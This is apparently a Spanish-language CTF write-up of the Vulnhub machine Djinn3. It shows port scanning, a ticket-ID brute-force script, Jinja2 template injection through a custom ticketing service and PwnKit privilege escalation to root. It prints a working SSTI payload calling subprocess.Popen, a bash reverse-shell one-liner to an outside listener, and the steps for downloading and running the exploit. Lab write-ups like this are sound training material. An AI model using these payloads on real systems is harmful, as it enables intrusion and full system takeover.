Table of Contents
Vulnhub: Djinn3 Writeup
Welcome to my detailed writeup of the medium difficulty machine “Djinn3” on Vulnhub. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1rustscan -a 192.168.154.102 --ulimit 5000 -g
2192.168.154.102 -> [22,80,5000,31337]
1nmap -p22,80,5000,31337 -sCV 192.168.154.102 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 22:47 CET
3Nmap scan report for 192.168.154.102
4Host is up (0.032s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 2048 e6:44:23:ac:b2:d9:82:e7:90:58:15:5e:40:23:ed:65 (RSA)
10| 256 ae:04:85:6e:cb:10:4f:55:4a:ad:96:9e:f2:ce:18:4f (ECDSA)
11|_ 256 f7:08:56:19:97:b5:03:10:18:66:7e:7d:2e:0a:47:42 (ED25519)
1280/tcp open http lighttpd 1.4.45
13|_http-title: Custom-ers
14|_http-server-header: lighttpd/1.4.45
155000/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.9)
16|_http-title: Site doesn't have a title (text/html; charset=utf-8).
1731337/tcp open Elite?
18| fingerprint-strings:
19| DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL:
20| username>
21| GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
22| username> password> authentication failed
23| Help:
24| username> password>
25| RPCCheck:
26| username> Traceback (most recent call last):
27| File "/opt/.tick-serv/tickets.py", line 105, in <module>
28| main()
29| File "/opt/.tick-serv/tickets.py", line 93, in main
30| username = input("username> ")
31| File "/usr/lib/python3.6/codecs.py", line 321, in decode
32| (result, consumed) = self._buffer_decode(data, self.errors, final)
33| UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
34| SSLSessionReq:
35| username> Traceback (most recent call last):
36| File "/opt/.tick-serv/tickets.py", line 105, in <module>
37| main()
38| File "/opt/.tick-serv/tickets.py", line 93, in main
39| username = input("username> ")
40| File "/usr/lib/python3.6/codecs.py", line 321, in decode
41| (result, consumed) = self._buffer_decode(data, self.errors, final)
42| UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
43| TerminalServerCookie:
44| username> Traceback (most recent call last):
45| File "/opt/.tick-serv/tickets.py", line 105, in <module>
46| main()
47| File "/opt/.tick-serv/tickets.py", line 93, in main
48| username = input("username> ")
49| File "/usr/lib/python3.6/codecs.py", line 321, in decode
50| (result, consumed) = self._buffer_decode(data, self.errors, final)
51|_ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation byte
521 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
53SF-Port31337-TCP:V=7.94SVN%I=7%D=1/30%Time=679BF366%P=x86_64-pc-linux-gnu%
54SF:r(NULL,A,"username>\x20")%r(GetRequest,2A,"username>\x20password>\x20au
55SF:thentication\x20failed\n")%r(SIPOptions,2A,"username>\x20password>\x20a
56SF:uthentication\x20failed\n")%r(GenericLines,2A,"username>\x20password>\x
57SF:20authentication\x20failed\n")%r(HTTPOptions,2A,"username>\x20password>
58SF:\x20authentication\x20failed\n")%r(RTSPRequest,2A,"username>\x20passwor
59SF:d>\x20authentication\x20failed\n")%r(RPCCheck,1A9,"username>\x20Traceba
60SF:ck\x20\(most\x20recent\x20call\x20last\):\n\x20\x20File\x20\"/opt/\.tic
61SF:k-serv/tickets\.py\",\x20line\x20105,\x20in\x20<module>\n\x20\x20\x20\x
62SF:20main\(\)\n\x20\x20File\x20\"/opt/\.tick-serv/tickets\.py\",\x20line\x
63SF:2093,\x20in\x20main\n\x20\x20\x20\x20username\x20=\x20input\(\"username
64SF:>\x20\"\)\n\x20\x20File\x20\"/usr/lib/python3\.6/codecs\.py\",\x20line\
65SF:x20321,\x20in\x20decode\n\x20\x20\x20\x20\(result,\x20consumed\)\x20=\x
66SF:20self\._buffer_decode\(data,\x20self\.errors,\x20final\)\nUnicodeDecod
67SF:eError:\x20'utf-8'\x20codec\x20can't\x20decode\x20byte\x200x80\x20in\x2
68SF:0position\x200:\x20invalid\x20start\x20byte\n")%r(DNSVersionBindReqTCP,
69SF:A,"username>\x20")%r(DNSStatusRequestTCP,A,"username>\x20")%r(Help,14,"
70SF:username>\x20password>\x20")%r(SSLSessionReq,1B1,"username>\x20Tracebac
71SF:k\x20\(most\x20recent\x20call\x20last\):\n\x20\x20File\x20\"/opt/\.tick
72SF:-serv/tickets\.py\",\x20line\x20105,\x20in\x20<module>\n\x20\x20\x20\x2
73SF:0main\(\)\n\x20\x20File\x20\"/opt/\.tick-serv/tickets\.py\",\x20line\x2
74SF:093,\x20in\x20main\n\x20\x20\x20\x20username\x20=\x20input\(\"username>
75SF:\x20\"\)\n\x20\x20File\x20\"/usr/lib/python3\.6/codecs\.py\",\x20line\x
76SF:20321,\x20in\x20decode\n\x20\x20\x20\x20\(result,\x20consumed\)\x20=\x2
77SF:0self\._buffer_decode\(data,\x20self\.errors,\x20final\)\nUnicodeDecode
78SF:Error:\x20'utf-8'\x20codec\x20can't\x20decode\x20byte\x200xd7\x20in\x20
79SF:position\x2013:\x20invalid\x20continuation\x20byte\n")%r(TerminalServer
80SF:Cookie,1B0,"username>\x20Traceback\x20\(most\x20recent\x20call\x20last\
81SF:):\n\x20\x20File\x20\"/opt/\.tick-serv/tickets\.py\",\x20line\x20105,\x
82SF:20in\x20<module>\n\x20\x20\x20\x20main\(\)\n\x20\x20File\x20\"/opt/\.ti
83SF:ck-serv/tickets\.py\",\x20line\x2093,\x20in\x20main\n\x20\x20\x20\x20us
84SF:ername\x20=\x20input\(\"username>\x20\"\)\n\x20\x20File\x20\"/usr/lib/p
85SF:ython3\.6/codecs\.py\",\x20line\x20321,\x20in\x20decode\n\x20\x20\x20\x
86SF:20\(result,\x20consumed\)\x20=\x20self\._buffer_decode\(data,\x20self\.
87SF:errors,\x20final\)\nUnicodeDecodeError:\x20'utf-8'\x20codec\x20can't\x2
88SF:0decode\x20byte\x200xe0\x20in\x20position\x205:\x20invalid\x20continuat
89SF:ion\x20byte\n");
90Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
91
92Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
93Nmap done: 1 IP address (1 host up) scanned in 64.62 seconds
UDP Enumeration
1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 192.168.154.102 -oN allPorts.UDP
2[sudo] password for kali:
3Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 22:47 CET
4Nmap scan report for 192.168.154.102
5Host is up (0.032s latency).
6Not shown: 1494 open|filtered udp ports (no-response)
7PORT STATE SERVICE
85555/udp closed rplay
916972/udp closed unknown
1020560/udp closed unknown
1129823/udp closed unknown
1231731/udp closed unknown
1332345/udp closed unknown
14
15Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds
Del escaneo inicial vemos el puerto 31337/TCP el cual es un tanto extraño pero vamos a enumerar de menos a mas.
SSH Enumeration
Dado que la versión de SSH es algo desactualizada, OpenSSH 7.6p1
quizás sea vulnerable a CVE-2018-15473
, esta vulnerabilidad permite enumerar usuarios del sistema sin necesidad de credenciales.
Para comprobar esto, siempre suelo utilizar este PoC de Sait-Nuri
Primero nos clonamos el repositorio.
1git clone https://github.com/Sait-Nuri/CVE-2018-15473
2Cloning into 'CVE-2018-15473'...
3remote: Enumerating objects: 16, done.
4remote: Counting objects: 100% (16/16), done.
5remote: Compressing objects: 100% (13/13), done.
6remote: Total 16 (delta 2), reused 0 (delta 0), pack-reused 0 (from 0)
7Receiving objects: 100% (16/16), 5.04 KiB | 737.00 KiB/s, done.
8Resolving deltas: 100% (2/2), done.
Y parece que está parcheado, por lo cual no es vulnerable y por SSH tampoco podemos hacer mas por ahora.
1python3 CVE-2018-15473.py -u root 192.168.154.102
2/home/kali/.local/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
3 'class': algorithms.Blowfish,
4[+] root is a valid username
5➜ CVE-2018-15473 git:(main) python3 CVE-2018-15473.py -u rooto 192.168.154.102
6/home/kali/.local/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
7 'class': algorithms.Blowfish,
8[+] rooto is a valid username
HTTP Enumeration
La versión del servidor web es lighttpd 1.4.45
, buscando un poco en Google encontré esta vulnerabilidad la cual es para una versión mas antigua que el servicio actual.
The ’lighttpd’ program is prone to a vulnerability that may allow attackers to access sensitive information because the application fails to properly handle exceptional conditions.
Aparentemente el servidor no es vulnerable.
El sitio web principal se ve así, tiene un diseño un poco feo sinceramente y no significa nada, pero normalmente si el diseño es tan “primitivo” no se suele esforzar tanto el desarrollador en la seguridad del sitio.
Analizando el código de la página no encontré nada, pero vemos que según el mensaje de la página principal que esta gente ofrece un tipo de software de edición de texto y de ticketing.
Fuzzeando recursos con feroxbuster
no encontramos nada interesante.
1feroxbuster -u http://192.168.154.102/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.10.3
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://192.168.154.102/
9 🚀 Threads │ 100
10 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌 Status Codes │ All Status Codes!
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.10.3
14 💉 Config File │ /etc/feroxbuster/ferox-config.toml
15 🔎 Extract Links │ true
16 🏁 HTTP methods │ [GET]
17 🔃 Recursion Depth │ 1
18 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
19───────────────────────────┴──────────────────────
20 🏁 Press [ENTER] to use the Scan Management Menu™
21──────────────────────────────────────────────────
22404 GET 11l 28w 345c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
23301 GET 0l 0w 0c http://192.168.154.102/images => http://192.168.154.102/images/
24200 GET 127l 243w 2262c http://192.168.154.102/css.css
25200 GET 34l 144w 1414c http://192.168.154.102/
HTTP Enumeration (Port 5000/TCP)
En el puerto 5000/TCP
vemos otro servicio web que pertenece a un servicio de ticketing que tiene pinta de que es “casero”.
Quitando que los tickets no deberían de ser públicos y accesibles, según nmap
vemos que el servidor web es Werkzeug httpd 1.0.1
, esto significa que probablemente se esté utilizando Flask
como backend.
Fuzzeando por recursos interesantes tampoco encontré nada.
1feroxbuster -u http://192.168.154.102:5000/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100 -x php,txt,html,zip,gz
Igualmente vemos que existe un parámetro id
el cual al establecerlo carga el ticket asociado a ese identificador.
He creado un pequeño script para enumerar todos los tickets que podamos por si alguno no se está mostrando en la página principal.
1#!/usr/bin/python3
2import requests
3from pwn import *
4from tqdm import tqdm
5from concurrent.futures import ThreadPoolExecutor
6
7BASE_URL = "http://192.168.154.102:5000/?id=<REPLACE>"
8ERROR_LENGTH = 290
9NUM_THREADS = 10
10
11def check_ticket(i):
12 r = requests.get(BASE_URL.replace("<REPLACE>", f"{i:04d}"))
13 if len(r.text) != ERROR_LENGTH:
14 log.success(f"[+] Ticket encontrado ID -> {i:04d}")
15 return True
16 return False
17
18def brute():
19 with log.progress("Probando tickets...") as pbar, ThreadPoolExecutor(max_workers=NUM_THREADS) as executor:
20 futures = {executor.submit(check_ticket, i): i for i in range(10000)}
21 for future in tqdm(futures, desc="Brute-forcing", unit="ticket"):
22 if future.result():
23 executor.shutdown(wait=False)
24 break
25
26if __name__ == "__main__":
27 brute()
Igualmente no he encontrado ningún ticket extra.
1python3 brute.py
2[+] Probando tickets...: Done
3Brute-forcing: 28%|██████████████▊ | 2790/10000 [00:19<00:49, 145.33ticket/s][+] [+] Ticket encontrado ID -> 2792
4Brute-forcing: 28%|██████████████▊ | 2792/10000 [00:19<00:49, 146.57ticket/s]
5[+] [+] Ticket encontrado ID -> 2973
6[+] [+] Ticket encontrado ID -> 2984
7[+] [+] Ticket encontrado ID -> 4567
8[+] [+] Ticket encontrado ID -> 7723
9[+] [+] Ticket encontrado ID -> 8345
Leyendo los tickets vemos varias cosas interesantes, primero que no se necesita autenticación para utilizar el sistema de Ticketing.
Otro punto interesante es que parece que debe de haber algún usuario invitado según este mensaje para poder poner tickets.
Otra cosa interesante es que parece que ha habido un empleado llamado umang
que ha resignado, quizás ha dejado algún backdoor o su cuenta de usuario sigue activa. Y además existe otro usuario llamado jack
Vemos mas usuarios y además se nos confirma que sus cuentas siguen creadas y algunas tienen privilegios.
Habiendo leído todos los tickets, tenemos una lista de usuario que por ahora no se si nos servirá de algo pero nunca viene mal.
1cat -p users.txt
2umang
3jack
4freddy
5jason
6david
Custom Ticketing System Enumeration
Vamos a enumerar el servicio del puerto 31337/TCP
que si intentamos conectarnos con netcat
nos pide una autenticación.
Después de probar algunas combinaciones típicas y utilizando los usuarios que teníamos, vemos que la combinación guest:guest
es válida.
1nc 192.168.154.102 31337
2username> guest
3password> guest
4
5Welcome to our own ticketing system. This application is still under
6development so if you find any issue please report it to mail@mzfr.me
7
8Enter "help" to get the list of available commands.
9
10>
Parece que podemos abrir un ticket, así que vamos a probarlo.
1> help
2
3 help Show this menu
4 update Update the ticketing software
5 open Open a new ticket
6 close Close an existing ticket
7 exit Exit
8
9> open
10Title: test
11Description: test
Al comprobarlo en la página principal, vemos que se ha creado el ticket perfectamente.
No podemos actualizar tickets, parece que no tenemos permisos.
1> update
2You are not authorized to update the system
3Contact the system administrator for this
Otra cosa que si que podemos hacer es borrar un ticket, da igual de que usuario sea.
1> close
2Ticket ID: 2973
El ticket desaparece.
Esto se consideraría otra vulnerabilidad, supongo que Broken Access Control, igualmente nuestra meta es ganar acceso a la máquina.
Jinja2 Server-Side Template Injection -> Foothold (RCE)
Recordamos que la aplicación está hecha con Flask
, ¿verdad?.
Estas aplicaciones mucha gente sabe a lo que son propensas, y es a Server-Side Template Injection ya que estas aplicaciones utilizan Jinja2
que es un motor de plantillas de Python que se utiliza para crear plantillas HTML , vamos a hacer una pequeña prueba para comprobar si es vulnerable.
Podemos leer este artículo de HackTricks donde tenemos varios payloads por si no sabemos proceder en esta situación.
Una forma de comprobar si es vulnerable es utilizando el payload {{ 7*7 }}
, este es el formato que se utiliza en Flask
para mostrar el valor de una variable en la plantilla, por lo cual si es vulnerable se debería de mostrar el número 49
en la página principal y esto significaría que el servidor ha hecho la operatoria y por lo cual podemos ejecutar código Python en el servidor.
Creamos el ticket…
1open
2Title: {{ 7*7 }}
3Description: test
Vemos que no se muestra el número.
Igualmente si creamos otro ticket y utilizamos el payload en la descripción…
1> open
2Title: test
3Description: {{ 7*7 }}
Y vemos que efectivamente, podemos confirmar la vulnerabilidad, ahora solo queda ganar ejecución remota de comandos.
Nuestra meta ahora mismo es llegar a la clase subprocess.Popen
, para ello necesitamos saber el index de la clase ya que vamos a enumerar primero las clases que están cargadas en el entorno non-sandboxed
de Python, para poder enumerar esto primero necesitamos llegar a la clase object
para después poder llamar al método __subclasses__
y así acceder a las clases.
Entonces por ejemplo, para acceder a la clase objeto podemos hacerlo de esta forma.
1dict.__base__
Una vez aquí ya podemos llamar al método __subclasses__()
y así ver todas las clases que están cargadas.
1dict.__base__.__subclasses__()
En este punto la IP de la máquina víctima va a cambiar ya que me descargué la máquina de Vulnhub, pero bueno, con ese payload podemos ver todas las clases que era nuestro objetivo.
1> open
2Title: test
3Description: {{ dict.__base__.__subclasses__() }}
Podemos filtrar por subprocess.Popen
y vemos que efectivamente, aquí tenemos la clase que nos interesa para conseguir RCE, el problema es que tenemos que saber cual es el índice dentro del array en el que se encuentra.
He creado un pequeño script para encontrar el índice que necesitamos para poder llamar a la clase subprocess.Popen
ya que obviamente no vamos a buscarlo manualmente, dejo por aquí el script.
Al ejecutarlo…
1python3 find_popen.py
2El índice de 'subprocess.Popen' es: 400
Ahora podemos utilizar la clase y intentar ejecutar un comando a nivel de sistema.
1> open
2Title: rce3
3Description: {{ dict.__base__.__subclasses__()[400]('ping -c 1 192.168.18.132',shell=True,stdout=-1).communicate()[0].strip() }}
Y si ingresamos al Ticket creado, vemos que conseguimos ejecutar este comando…
Ahora nos vamos a mandar una reverse shell utilizando el típico one-liner.
1> open
2Title: rce4
3Description: {{ dict.__base__.__subclasses__()[400]('bash -c "bash -i >& /dev/tcp/192.168.18.132/443 0>&1" ',shell=True,stdout=-1).communicate()[0].strip() }}
Nos ponemos en escucha con pwncat-cs
por el puerto 443.
1pwncat-cs -lp 443
Ahora abrimos el ticket….
Y conseguimos una shell en la máquina víctima.
1(remote) www-data@djinn3:/opt/.web$ id
2uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation
Vemos que existen varios usuarios en la máquina víctima.
1(remote) www-data@djinn3:/opt/.web$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3saint:x:1000:1002:,,,:/home/saint:/bin/bash
4jack:x:1001:1003:,,,:/home/jack:/bin/bash
5mzfr:x:1002:1004:,,,:/home/mzfr:/bin/bash
Existe una manera intencionada para escalar privilegios, la cual es mas complicada que la manera de la cual yo escalé los privilegios, pero seguridad avanza y esta máquina era vulnerable a….
1find / \-perm \-4000 2>/dev/null
2/bin/su
3/bin/umount
4/bin/mount
5/bin/fusermount
6/bin/ping
7/usr/bin/gpasswd
8/usr/bin/at
9/usr/bin/chfn
10/usr/bin/chsh
11/usr/bin/sudo
12/usr/bin/traceroute6.iputils
13/usr/bin/passwd
14/usr/bin/pkexec
15/usr/bin/newuidmap
16/usr/bin/newgidmap
17/usr/bin/newgrp
18/usr/lib/eject/dmcrypt-get-device
19/usr/lib/openssh/ssh-keysign
20/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
21/usr/lib/snapd/snap-confine
22/usr/lib/policykit-1/polkit-agent-helper-1
23/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Vaya, el pkexec
tiene permisos de SUID, eso significa que quizás podamos utilizar PwnKit
(CVE-2021-4034) para escalar privilegios.
De hecho si pasamos el linux-exploit-suggester.sh
vemos que nos dice que probablemente la máquina sea vulnerable ya que encaja con la versión de la distribución.
1./linux-exploit-suggester.sh
2
3Available information:
4
5Kernel version: 4.15.0
6Architecture: x86_64
7Distribution: ubuntu
8Distribution version: 18.04
9Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
10Package listing: from current OS
11
12Searching among:
13
1481 kernel space exploits
1549 user space exploits
16
17Possible Exploits:
18
19[+] [CVE-2021-4034] PwnKit
20
21 Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
22 Exposure: probable
23 Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
24 Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
PwnKit - CVE-2021-4034
Primero, como en la máquina víctima tengo conexión a internet, vamos a descargar el exploit directamente.
1(remote) www-data@djinn3:/tmp$ wget https://codeload.github.com/berdav/CVE-2021-4034/zip/main
Ahora podemos extraer el exploit
1(remote) www-data@djinn3:/tmp$ unzip main
Le damos permiso de ejecución al script que se nos incluye que se va a encargar de compilar el exploit y ejecutarlo.
1(remote) www-data@djinn3:/tmp/CVE-2021-4034-main$ chmod +x ./cve-2021-4034.sh
Ahora simplemente lo ejecutamos y…
1(remote) www-data@djinn3:/tmp/CVE-2021-4034-main$ ./cve-2021-4034.sh
2cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
3cc -Wall cve-2021-4034.c -o cve-2021-4034
4echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
5mkdir -p GCONV_PATH=.
6cp -f /bin/true GCONV_PATH=./pwnkit.so:.
7# id
8uid=0(root) gid=0(root) groups=0(root),33(www-data)
Podemos ver la flag de root
1# ./proof.sh
2TERM environment variable not set.
3 _ _ _ _ _
4 / \ _ __ ___ __ _ ___(_)_ __ __ _| | | |
5 / _ \ | '_ ` _ \ / _` |_ / | '_ \ / _` | | | |
6 / ___ \| | | | | | (_| |/ /| | | | | (_| |_|_|_|
7/_/ \_\_| |_| |_|\__,_/___|_|_| |_|\__, (_|_|_)
8 |___/
9djinn-3 pwned...
10__________________________________________________________________________
11
12Proof: VGhhbmsgeW91IGZvciB0cnlpbmcgZGppbm4zID0K
13Path: /root
14Date: Mon Feb 3 17:14:50 IST 2025
15Whoami: root
16__________________________________________________________________________
17
18By @0xmzfr
19
20Special thanks to @DCAU7 for his help on Privilege escalation process
21And also Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)
22
23If you enjoyed this then consider donating (https://blog.mzfr.me/support/)
24so I can continue to make these kind of challenges.
¡Y ya estaría!
Happy Hacking! 🚀
#Vulnhub #Djinn3 #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #SSH Enumeration #CVE-2018-15473 #User Enumeration #HTTP Enumeration #Abusing Improper Access Control #Scripting #Python Scripting #Information Disclosure #Abusing Broken Access Control #Server-Side Template Injection #SSTI #CVE-2021-4034 #PwnKit